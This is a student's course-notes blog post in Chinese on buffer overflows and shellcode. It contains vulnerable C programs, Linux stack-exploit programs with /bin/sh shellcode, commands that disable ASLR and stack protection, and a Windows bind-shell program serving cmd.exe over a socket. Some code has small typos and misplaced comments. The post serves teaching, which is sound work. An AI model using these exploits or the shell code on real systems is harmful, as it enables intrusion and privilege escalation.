20199307 2019-2020-2 《网络攻防实践》第十周作业
问题 | 源 |
---|---|
作业所属课程 | 网络攻防实践 |
作业要求 | https://edu.cnblogs.com/campus/besti/19attackdefense/homework/10723 |
课程目标 | 了解网络攻防的概要 |
这个作业在哪个具体方面帮助我实现目标 | 学习和了解缓冲区溢出攻击和shellcode |
作业正文.... | 见后文 |
参考资料 | 见后文 |
软件安全攻防-缓冲区溢出和Shellcode
一、实践内容
软件安全概述
-
攻击者能够轻易地对系统和网络实施攻击,很大程度上是因为安全漏洞在软件中的大规模存在,攻击者可以利用这些漏洞来违背系统和网络的安全属性。
-
安全漏洞的类型多种多样,从最基本的缓冲区溢出,到格式化字符串漏洞、竞争条件漏洞、整数溢出,以及近年最流行的XSS跨站脚本、SQL注入等。
-
安全漏洞在软件开发周期的各个环节(包括设计、编码、发布等)中都可能被引入,而只有软件设计与开发人员充分认识到安全漏洞的危害、掌握安全漏洞机理,以及如何避免漏洞的安全编程经验,并在软件厂商的软件开发生命周期中切实执行安全设计开发的流程,才有可能尽量地减少发布软件中的安全漏洞数量,降低它们对网络与现实世界所带来的影响与危害。
-
软件安全困境(困境三要素):
- 复杂性:软件规模越来越大,越来越复杂,也就意味着软件的bug会越来越多,据软件工程研究结果,每千行代码中的bug数量会在5~50个之间。
- 可扩展性:现代可扩展软件本身的特征使得安全保证更加困难。首先攻击者以不可预测的扩展方式来入侵软件和系统,其次,可扩展性软件的的安全分析要比分析一个完全不能更改的软件要困难得多。
- 连通性:网络连通性使得不需要人为干涉的自动化攻击成为可能,从而大大改变了威胁环境。
-
软件安全漏洞类型(从技术上分类):
- 内存安全未违规类别:缓冲区溢出漏洞是一种最基础的内存安全问题。内存安全违规类漏洞主要出现在C\C++等编程语言所编写的软件之中,由于这类语言支持任意内存的分配和归还、任意指针的转换、计算等操作,而这类操作通常都没有内存安全保障。
- 输入验证类:输入验证类安全漏洞是指软件程序在对用户输入进行数据验证存在的错误,没有保证输入数据的正确性、合法性和安全性,从而导致可能被恶意攻击与利用。输入验证类安全漏洞根据输入位置、恶意输入内容被软件程序的使用方式的不同,又包含格式化字符串、SQL注入、代码注入、远程文件包含、目录遍历、XSS、HTTP Header注入、HTTP响应分割错误等多种安全漏洞技术形式。
- 竞争条件类:竞争条件类缺陷是系统或进程中一类比较特殊的错误,通常在涉及多进程或多线程处理的程序中出现,是指处理进程的输出或者结果无法预测,并依赖于其他进程事件发生的次序或时间时,所导致的错误。
- 权限混淆与提升类:权限混淆与提升类漏洞是指计算机程序由于自身编程疏忽或被第三方欺骗,从而滥用其权限,或赋予第三方不该给予的权限。权限混淆与提升类漏洞的具体技术形式主要有Web应用程序中的跨站请求伪造(Cross-Site Request Forgery, CSRF)、 Clickjacking、FTP反弹攻击、权限提升、“越狱”(jailbreak)等。
缓冲区溢出基础概念
-
缓冲区基础基本概念和发展过程:
- 缓冲区溢出基本概念:缓冲区溢出是计算机程序中存在的一类内存安全违规类漏洞,在计算机程序向特定缓冲区内填充数据时,超出了缓冲区本身的容量,导致外溢数据覆盖了相邻内存空间的合法数据,从而改变程序执行流程破坏系统运行完整性。缓冲区溢出漏洞通常多见于C/C++语言程序中的
memepy()
、strcpy()
等内存与字符串复制函数的引用位置,由于这些函数并不检查内存越界问题,而程序员一般也没有足够的安全编程意识、经验与技巧,对复制的目标缓冲区普遍没有进行严格的边界安全保护,所以,会时常发生缓冲区溢出攻击事件。 - 缓冲区溢出攻击技术发展过程:近年来缓冲区溢出在软件安全漏洞中的比重有所下降,但其绝对数量仍呈现增长趋势,缓冲区溢出仍是软件安全漏洞中一个非常重要的组成部分。早在20世纪80年代初期,国外就有一些黑客就已经意识到计算机程序中存在的缓冲区溢出问题,并开始讨论溢出攻击。
- 缓冲区溢出基本概念:缓冲区溢出是计算机程序中存在的一类内存安全违规类漏洞,在计算机程序向特定缓冲区内填充数据时,超出了缓冲区本身的容量,导致外溢数据覆盖了相邻内存空间的合法数据,从而改变程序执行流程破坏系统运行完整性。缓冲区溢出漏洞通常多见于C/C++语言程序中的
-
缓冲区溢出攻击背景知识
-
编译器与调试器的使用:使用C/C++等高级编程语言编写的源码,需要通过编译器和连接器才能生成可直接在操作系统平台上运行的可执行程序代码。而调试器则是程序开发人员在运行时刻调试与分析程序行为的基本工具。对于最常使用的C/C++编程语言,最著名的编译与连接器是
GCC
开源的GUN Ansi C/C++
编译器,GCC
最基本的用法是执行gcc –c test.c
命令进行源码编译,生成test.o
然后执行gcc –o test test.o
进行连接,生成test
可执行程序,可以使用gcc test.c –o test
同时完成编译和连接过程。对于处理多个源码文件、包含头文件、引用库文件等多种情况,程序开发人员通常编写或自动生成Makefile
来控制GCC
的编译和连接过程。类UNIX
平台上进行程序的调试经常使用GDB调试器,GDB调试器提供程序断点管理、执行控制、信息查看等多种类型的功能指令。 -
汇编语言基础知识:汇编语言是理解软件安全漏洞机理,掌握软件渗透攻击代码技术的底层基础。从应用的角度一般将寄存器分为4类,即通用寄存器、段寄存器、控制寄存器和其他寄存器。通用寄存器主要用于普通的算术运算,保存数据、地址、偏移量、计数值等。段寄存器在
IA32
构架中是16位的,一般用作段基址寄存器。控制寄存器用来控制处理器的执行流程。其他寄存器中值得关注的是“扩展标志”eflags
寄存器,由不同的标志位组成,用于保存指令执行后的状态和控制指令执行流程的标志信息。在IA32构架汇编语言中,又分为Intel
和AT&T
两种具有很多差异的汇编格式。在类UNIX
平台下,通常使用AT&T
汇编格式,而在DOS/Windows
平台下,则主要使用Intel汇编格式。
-
进程内存管理:程序在执行时,系统在内存中会为程序创建一个虚拟的内存地址空间,在32位机上即4GB的空间大小,用于映射物理内存,并保存程序的指令和数据。Linux的集成内存空间3GB以下为用户态空间,3GB-4GB为内核态空间,操作系统将可执行程序加载到新创建的内存空间中,程序一般包含
.text
、.bss
和.data
三种类型的段。Windows操作系统的进程内存空间布局则与Linux系统有着一-些差异,它操作系统的进程内存空间2GB-4GB为内核态地址空间,用于映射Windows内核代码和一些核心态DLL并用于存储一些内核态对象,0GB-2GB为用户态地址空间。 -
函数调用过程:栈结构与函数调用过程的底层细节是理解栈溢出攻击的重要基础,因为栈溢出攻击就是针对函数调用过程中返回地址在栈中的存储位置,进行缓冲区溢出,从而改写返回地址,达到让处理器指令寄存器跳转至攻击者指定位置执行恶意代码的目的。栈是一种最基本的LIFO后进先出抽象数据结构,主要被用于实现程序中的函数或过程调用,在栈中会保存函数的调用参数、返回地址、调用者栈基址、函数本地局部变量等数据。在IA32构架寄存器中,两个与栈密切相关的寄存器为
ebp
和esp
分别保存当前运行函数的栈底地址和栈顶地址,而两个密切相关的指令为push和pop,分别是将数据压入栈,及将栈顶数据弹出至特定寄存器。- 程序进行函数调用的过程有如下三个步骤:
- 调用(call):调用者将函数调用参数、函数调用下一-条指令的返回地址压栈,并跳转至被调用函数入口地址。
- 序言(prologue):被调用函数开始执行首先会进入序言阶段,将对调用函数的栈基址进行压栈保存,并创建自身函数的栈结构,具体包括将ebp寄存器赋值为当前栈基址,为本地函数局部变量分配栈地址空间,更新esp寄存器为当前栈顶指针等。
- 返回(return):被调用函数执行完功能将指令控制权返回给调用者之前,会进行返回阶段的操作,通常执行leave和ret指令,即恢复调用者的栈顶与栈底指针,并将之前压栈的返回地址装载至指令寄存器eip中,继续执行调用者在函数调用之后的下一条指令。
- 程序进行函数调用的过程有如下三个步骤:
-
#include <stdio.h>
int func(int a, int b){
int retVal = a+ b;
printf("b: 0x%08x\n",&b);
printf("a: 0x%08x\n",&a);
printf("ret addr here: 0x%08x\n",&a-1);
printf("stored ebp here: 0x%08x\n",&a-2);
printf("retVal: 0x%08x\n\n", &retVal);
return retVal;
}
int main(int argc, char* argv[])
{
int result = func(1, 2);
return 0;
}
- 缓冲区溢出攻击原理:
- 缓冲区溢出漏洞根据缓冲区在进程内存空间中的位置不同,又分为栈溢出、堆溢出和内核溢出这三种具体技术形态。
- 栈溢出:指存储在栈上的一些缓冲区变量由于存在缺乏边界保护问题,能够被溢出并修改栈上的敏感信息(通常是返回地址),从而导致程序流程的改变。
- 堆溢出:存储在堆上的缓冲区变量缺乏边界保护所遭受溢出攻击的安全问题
- 内核溢出:漏洞存在于一些内核模块或程序中,是由于进程内存空间内核态中存储的缓冲区变量被溢出造成的。
- Linux系统可能会采取对抗缓冲区溢出的防范措施,因此,我们需要先把这些措施取消后,才能重现基础的缓冲区溢出攻击过程。
- 取消“栈上数据不可执行”保护:
echo 0 > /proc/sys/kerne/exec-shield
- 取消“地址空间随机化”保护:
echo 0 > /proc/sys/kernel/randomize_va_space
- 编译时取消“/GS”保护:加上gcc编译选项
–fno-stack-protecto
- 取消“栈上数据不可执行”保护:
- 缓冲区溢出漏洞根据缓冲区在进程内存空间中的位置不同,又分为栈溢出、堆溢出和内核溢出这三种具体技术形态。
#include <stdio.h> //栈溢出为例的实例
void return_input(void){
char array[30];
gets(array);
printf("%s/n",array);
}
int main(void)
{
return_input();
return 0;
}
Linux平台上的栈溢出与shellcode
- Linux平台栈溢出攻击技术: Linux平台中的栈溢出攻击按照攻击数据的构造方式不同,主要有NSR、RNS和RS三种模式。在Linux平台中,本地栈溢出攻击,即渗透攻击代码的攻击目标对象是本地的漏洞程序,可以用于特权提升。
- NSR模式:NSR模式主要适用于被溢出的缓冲区变量比较大,足以容纳Shellcode的情况,其攻击数据从低地址到高地址的构造方式是一堆Nop指令(即空操作指令)之后填充Shellcode再加上一些期望覆盖RET返回地址的跳转地址,从而构成了NSR攻击数据缓冲区。
- RNS模式:第二种栈溢出的模式为RNS模式,一般用于被溢出的变量比较小,不足于容纳Shellcode的情况,攻击数据从低地址到高地址的构造方式是首先填充一些期望覆盖RET返回地址的跳转地址,然后是一堆Nop指令填充出“着陆区”,最后再是Shellcode。在溢出攻击后,攻击数据将在RET区段即溢出了目标漏洞程序的小缓冲区,并覆盖了栈中的返回地址,然后跳转到Nop指令所构成的“着陆区”,并最终执行Shellcode。
- RS模式:第三种Linux平台上的栈溢出攻击模式是RS模式,在这种模式下能够精确定位出Shellcode在目标漏洞程序进程空间中的起始地址,因此也就无需引入Nop空指令构建“着陆区”。这种模式是将Shellcode放置在目标漏洞程序执行时的环境变量中,由于环境变量是位于Linux进程空间的栈底位置,因而不会受到各种变量内存分配与对齐因素的影响,其位置是固定的,可以通过如下公式进行计算:
vulnerable1.c //NSR模式
#include<stdio.h>
int main(int argc,char **argv){
char buf[500];
strcpy(buf,argv[1]);
printf("buf's 0x%8x\n",&buf);
getchar();
return 0;
}
stackexploit1.c
#include<stdlib.h>
#include<string.h>
char shellcode[]=
// setreuid(0,0);
"\x31\xc0" // xor %eax,%eax
"\x31\xdb" // xor %ebx,%ebx
"\x31\xc9" // xor %ecx,%ecx
"\xb0\x46" // mov $0x46,%al
"\xcd\x80" // int $0x80
// execve /bin/sh
"\x31\xc0" // xor %eax,%eax
"\x50" // push %eax
"\x68\x2f\x2f\x73\x68" // push $0x68732f2f
"\x68\x2f\x62\x69\x6e" // push $0x6e69622f
"\x89\xe3" // mov %esp,%ebx
"\x8d\x54\x24\x08" // lea 0x8(%esp,1),%edx
"\x50" // push %eax
"\x53" // push %ebx
"\x8d\x0c\x24" // lea (%esp,1),%ecx
"\xb0\x0b" // mov $0xb,%al
"\xcd\x80" // int $0x80
// exit();
"\x31\xc0" // xor %eax,%eax
"\xb0\x01" // mov $0x1,%al
"\xcd\x80"; // int $0x80
unsigned long get_esp(){
__asm__("movl %esp,%eax");
}
int main(int argc,char *argv[]){
char buf[530];
char* p; p=buf;
int i; unsigned long ret;
int offset=0;
/* offset=400 will success */
if(argc>1) offset=atoi(argv[1]);
ret=get_esp()-offset;
memset(buf,0x90,sizeof(buf)); #把整个BUF填满NOPS
memcpy(buf+524,(char*)&ret,4); #把EIP用我们的RET覆盖,让程序跳转到NOPS里面
memcpy(buf+i+100,shellcode,strlen(shellcode)); #从BUF[100]开始填充SHELLCODE,前面和后面都是NOPS 当然可以增大NOPS的数目
printf("ret is at 0x%8x\n esp is at 0x%8x\n",
ret,get_esp());
execl("./vulnerable1","vulnerable1",buf,NULL); #执行漏洞程序
return 0;
}
vulnerable2.c //RNS模式
#include<stdio.h>
int main(int argc,char **argv){
char buf[10];
strcpy(buf,argv[1]);
printf("buf's 0x%8x\n",&buf);
getchar();
return 0;
}
stackexploit2.c
//main函数部分
int main(int argc,char **argv){
char buf[500]; #分配一个500BYTES的大BUF,用于我们的构造把整个BUFFER填满NOPS
unsigned long ret,p;
int i;
p=&buf;
ret=p+70;
memset(buf,0x90,sizeof(buf)); #用前44BYTES填满RET
for(i=0;i<44;i+=4)
*(long *)&buf[i]=ret;
memcpy(buf+400+i,shellcode,strlen(shellcode)); #把SHELLCODE复制到合适的位置
execl("./vulnerable2","vulnerable2",buf,NULL); #执行漏洞程序
return 0;
}
stackexploit3.c //RS模式
#main函数部分
int main(int argc,char **argv){
char buf[32];
char *p[]={"./vulnerable2",buf,NULL};
char *env[]={"HOME=/root",shellcode,NULL}; #把SHELLCODE放入将要执行的环境变量中
unsigned long ret;
ret=0xc0000000-strlen(shellcode)-strlen("./vulnerable2")-sizeof(void *);
memset(buf,0x41,sizeof(buf)); #把整个BUF用A填满
memcpy(&buf[28],&ret,4); #计算RET的值,并覆盖EIP
printf("ret is at 0x%8x\n",ret);
execve("./vulnerable2", "/vulnerable2", buf, env); #执行漏洞程序
return 0;
}
-
Linux平台的shellcode实现技术:
Shellcode
是一段机器指令,对于我们通常接触的IA32
架构平台,Shellcode
就是符合Intel 32
位指令规范的一串CPU
指令,被用于溢出之后改变系统正常流程,转而执行Shellcode
以完成渗透测试者的攻击目的,通常是为他提供一个访问系统的本地或远程命令行访问。 -
Linux本地shellcode实现机制:Linux系统本地Shellcode通常提供的功能就是为攻击者启动一个命令行Shell
-
Shellcode的通用方法:
- 先用高级编程语言, 通常用C, 来编写 Shellcode 程序;
- 编译并反汇编调试这个 Shellcode 程序;
- 从汇编语言代码级别分析程序执行流程;
- 整理生成的汇编代码, 尽量减小它的体积并使它可注入, 并可通过嵌入C语言进行运行测试和调试;
- 提取汇编代码所对应的 opcode 二进制指令, 创建 Shellcode 指令数组。
-
用C语言编写Linux本地shellcode(非注入攻击负载)
-
#include <stdio.h>
int main ()
{
char * name[2];
name[0] = "/bin/sh";
name[1] = NULL;
execve( name[0], name, NULL ); //execve函数启动/bin/sh提供命令行
return 0;
}
int execve(const char *filename, char *const argv[ ], char *const envp[ ])
:第一个参数filename字符串所代表的文件路径,第二个参数是利用数组指针来传递给执行文件,并且需要以空指针(NULL)结束,最后一个参数则为传递给执行文件的新环境变量数组。
- Linux远程Shellcode实现机制
- 远程
Shellcode
实现机制实现方法与本地Shellcode
实现机制完全一致。首先给出高级语言的功能代码实现,然后通过反汇编调试编译后的二进制程序,特权、优化和整理所获得的汇编代码,并最终产生opcode
二进制指令代码。 - Linux远程
Shellcode
需要让攻击目标程序创建socket
监听指定的端口等待客户端连接,启动一个命令行Shell
并将命令行的输入输出与socket
绑定,这样攻击者就可以通过socket客户端连接目标程序所在初级的开放端口,与服务端socket
建立起通信通道,并获得Shell
。在Linux系统中,dup2
函数能够将标准输入输出与socket
的网络通信通道进行绑定,使得socket
的远程输入连接至命令行标准输入,将命令行标准输出连接至远程网络输出,因而完成远程Shell
的功能。
- 远程
Windows平台上的栈溢出与Shellcode
-
Windows平台栈溢出攻击技术机理(Windows操作系统与Linux操作系统在栈溢出漏洞方面的差异):
- 对程序运行过程中废弃栈的处理方式差异:Windows平台会向废弃栈中写入一些随机的数据,而Linux则不会进行任何的处理。Windows系统在调用完成函数之后,会对废弃栈进行处理,从而破坏了在溢出缓冲区中保存的Shellcode即使成功进行了渗透攻击覆盖了栈中的返回地址,但覆盖返回地址所指向的Shellcode已经失效,这样就无法执行攻击者指定的指令达成攻击目的
- 进程内存空间的布局差异:Linux进程内存空间中栈底指针在
0xc0000000
之下,即一般栈中变量的位置都在0xf地址附近,在这些地址中没有空字节。Windows
平台的栈位置处于0x00FFFFFF 以下的用户内存空间,一般为0x0012
地址附近,而这些内存地址的首字节均为0x00
空字节。我们在栈中植入Shellcode
的起始位置,即要覆盖原先返回地址的跳转地址肯定也拥有空字节,此时我们所构造出来的“RNS"模式攻击数据中在“R"的位置上就存在着空字节,而这样的攻击数据在漏洞程序中的一些字符串拷贝和操作函数中将被截断,丢弃掉空字节之后的nop
和Shellcode
,致使无法成功地进行溢出攻击。 - 系统功能调用的实现方式差异:Linux系统中通过“int80”中断处理来调用系统功能,而Windows系统则是通过操作系统中更为复杂的API及内核处理例程调用链来完成系统功能调用,对应用程序直接可见的是应用层中如
Kernel32.dll
、User32.dIl
等系统动态链接库中导出的一些系统API接口函数。
-
Windows平台Shellcode实现技术
- Windows操作系统不提供直接的系统调用,而是提供一系列的API接口函数,在编写函数时我们需要考虑如下问题:
- Shellcode必须可以找到所需要的Windows32 API函数,并生成函数调用表
- 为了能够使用这些API函数,Shellcode必须找到目标程序已加载的函数地址
- Shellcode需考虑消除空字节,以免在字符串操作函数中被截断
- Shellcode需确保自己可以正常退出,并使原来的目标程序进程继续运行或终止
- 在目标系统环境存在异常处理和安全防护机制时,Shellcode需进一步考虑如何应对这些机制
- Windows操作系统不提供直接的系统调用,而是提供一系列的API接口函数,在编写函数时我们需要考虑如下问题:
-
Windows本地Shellcode
- 在Windows平台上,典型的本地Shellcode 同样也是启动一个命令行Shell, 即
command.com
或cmd.exe
,Windows 32
的系统API中捉供了system
(函数调用), 可以用于启动指定程序或运行特定命令,在调用system ("command.com”)
之后即可启动命令行程序。 - 在Windows平台上Shellcode的编写过程中,可以使用
Kernel32.dll
中的LoadLibrary
和GetProcAddress()
函数来装载其他所需的函数,并查询获得函数入口地址。 - 为构建更具通用性的Shellcode,有一种动态搜索
Kernel32.dll
内存空间以获取函数入口地址的方法,首先通过进程环境块(PEB)的结构分析获取Kernel32.dll加载基址,然后从这个DLL的导出函数表中通过函数名称查询获得所需函数的入口地址。 - C语言版的Windows本地Shellcode程序:
- 在Windows平台上,典型的本地Shellcode 同样也是启动一个命令行Shell, 即
#include <windows.h>
#include <winbase.h>
typedef void (*MYPROC)(LPTSTR);
typedef void (*MYPROC2)(int);
int main()
{
HINSTANCE LibHandle;
MYPROC ProcAdd;
MYPROC2 ProcAdd2;
char dllbuf[11] = "msvcrt.dll";
char sysbuf[7] = "system";
char cmdbuf[16] = "command.com";
char sysbuf2[5] = "exit";
LibHandle = LoadLibrary(dllbuf);
ProcAdd = (MYPROC)GetProcAddress(
LibHandle, sysbuf);
(ProcAdd) (cmdbuf);
ProcAdd2 = (MYPROC2) GetProcAddress(
LibHandle, sysbuf2);
(ProcAdd2)(0);
}
- Windows远程Shellcode
- 创建一个服务器端socket, 并在指定的端口上监听
- 通过accept()接受客户端的网络连接
- 创建子进程, 运行 cmd.exe, 启动命令行
- 创建两个管道, 命令符道将服务器端socket接收(recv)到的客户端通过网络输入的执行命令, 连接至cmd.exe的标准输入;然后输出管道将cmd. exe 的标准输出连接至服务器端 socket的发送(send)通过网络将运行结果反馈给客户端。
#include <winsock2.h>
#include <stdio.h>
int main()
{
WSADATA wsa;
SOCKET listenFD;
char Buff[1024];
int ret;
WSAStartup(MAKEWORD(2,2),&wsa);
listenFD = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
struct sockaddr_in server;
server.sin_family = AF_INET;
server.sin_port = htons(53764);
server.sin_addr.s_addr=ADDR_ANY;
ret=bind(listenFD,(sockaddr *)&server,sizeof(server));
ret=listen(listenFD,2);
int iAddrSize = sizeof(server);
SOCKET clientFD=accept(listenFD,(sockaddr *)&server,&iAddrSize);
SECURITY_ATTRIBUTES sa;
sa.nLength=12;sa.lpSecurityDescriptor=0;sa.bInheritHandle=true;
HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;
ret=CreatePipe(&hReadPipe1,&hWritePipe1,&sa,0);
ret=CreatePipe(&hReadPipe2,&hWritePipe2,&sa,0);
STARTUPINFO si;
ZeroMemory(&si,sizeof(si));
si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
si.hStdInput = hReadPipe2;
si.hStdOutput = si.hStdError = hWritePipe1;
char cmdLine[] = "cmd.exe";
PROCESS_INFORMATION ProcessInformation;
ret=CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);
unsigned long lBytesRead;
while(1) {
ret=PeekNamedPipe(hReadPipe1,Buff,1024,&lBytesRead,0,0);
if(lBytesRead) {
ret=ReadFile(hReadPipe1,Buff,lBytesRead,&lBytesRead,0);
if(!ret) break;
ret=send(clientFD,Buff,lBytesRead,0);
if(ret<=0) break;
}else {
lBytesRead=recv(clientFD,Buff,1024,0);
if(lBytesRead<=0) break;
ret=WriteFile(hWritePipe2,Buff,lBytesRead,&lBytesRead,0);
if(!ret) break;
}
}
return 0;
}
堆溢出攻击
- 堆溢较栈溢出具有更高的难度,最重要的原因在于堆中并没有可以直接覆盖并修改指令寄存器指针的返回地址,因此往往需要利用在堆中一些会影响程序执行流程的关键变量,如函数指针、C++类对象中的虚函数表,或者挖掘出堆中进行数据操作时可能存在的向指定内存地址改写内容的漏洞机会。
#define ERROR -1
#define BUFSIZE 16
int goodfunc(const char *str)
{
printf("\nHi, I'm a good function. I was called through funcptr.\n");
printf("I was passed: %s\n", str);
return 0;
}
int main(int argc, char **argv)
{
static char buf[BUFSIZE];
static int (*funcptr)(const char *str);
if (argc <= 2)
{
fprintf(stderr, "Usage: %s <buffer> <goodfunc's arg>\n", argv[0]);
exit(ERROR);
}
printf("system()'s address = %p\n", &system);
funcptr = (int(*)(const char *str))goodfunc;
printf("before overflow: funcptr points to %p\n", funcptr);
memset(buf, 0, sizeof(buf));
strncpy(buf, argv[1], strlen(argv[1]));
printf("after overflow: funcptr points to %p\n", funcptr);
(void)(*funcptr)(argv[2]);
return 0;
}
-
函数指针改写
- 需要被溢出的缓冲区临近函数指针存储地址,且在其低地址方向。在符合这种变量布局的条件下,当向缓冲区填充数据时, 如果没有边界判断和控制的话,那么缓冲区溢出之后就会自然地覆盖函数指针所在的内存区,从而改写函数指针的指向地址, 攻击者只要能够将该函数指针指向恶意构造的
Shellcode
入口地址,在程序使用函数指针调用原先期望的函数时,就会转而执行Shellcode
。
- 需要被溢出的缓冲区临近函数指针存储地址,且在其低地址方向。在符合这种变量布局的条件下,当向缓冲区填充数据时, 如果没有边界判断和控制的话,那么缓冲区溢出之后就会自然地覆盖函数指针所在的内存区,从而改写函数指针的指向地址, 攻击者只要能够将该函数指针指向恶意构造的
-
C++类对象虚函数表改写
C++
类对象虚函数表改写:C++
类通过虚函数提供了一种Late binding
运行过程绑定的机制,编译器为每个包含虚函数的类建立起虚函数表(vtable)、存放虚函数的地址,并在每个类对象的内存区中放入一个指向虚函数表的指针,通常称为虚函数指针vptr
.对于使用了虚函数机制的C++
类,如果它的类成员变量中存在可被溢出的缓冲区,那么就可以进行堆溢出攻击,通过覆盖类对象的虚函数指针,使其指向一个特殊构造的虚函数表,从而转向执行攻击者恶意注入的指令。
#include <iostream>
class A
{
private:
char str[11];
public:
void setBuffer(char * temp)
{
strcpy(str,temp);
}
virtual void printBuffer()
{
cout<<str<<endl;
}
};
void main(int argc, char* argv[])
{
A *a;
a = new A;
a->setBuffer(argv[1]);
a->printBuffer();
}
缓冲区溢出攻击的防御技术
-
尝试杜绝溢出的防御技术:最根本的办法是编写正确的、不存在缓冲区溢出安全漏洞的软件代码;编写一些高级的查错程序,如fault injection等;通过Fuzz注入测试来寻找代码的安全漏洞,还有一些分析工具用于侦测缓冲区溢出漏洞是否存在;在编译器上引入针对缓冲区的边界保护检查机制。但不能完全地消除缓冲区溢出攻击的可能性。
-
允许溢出但不让程序改变执行流程的防御技术:
StackGuard
技术、PointGuard
、ProPolice
、Stack Shield
等技术;C++中的虚函数表指针、覆盖SEH异常处理结构等。 -
无法让攻击代码执行的防御技术:
A64
、AMD64
、Alpha
等新的CPU硬件体系框架都引入对基于硬件NX保护机制,从硬件上支持对特定内存页设置成不可执行;各种操作系统也通过一些内核补丁或内建机制来支持堆栈不可执行,如Linux平台上的PaX
堆栈不可执行内核补丁,Solaris/SPARC
的栈不可执行保护、数据段不可执行内核补丁、Windows
的DEP数据执行保护机制等。此外目前主流操作系统也普遍使用了ASLR
内存地址布局随机化机制。
二、实践过程
无
三、学习中遇到的问题及解决
本章的学习主要是基于课本理论知识的学习,没有什么问题。
四、实践总结
本章主要介绍了缓冲区溢出攻击的攻击过程、原理、防御措施等。学习过程中会遇到很多汇编代码,这是我现在的盲区,需要认真去学习。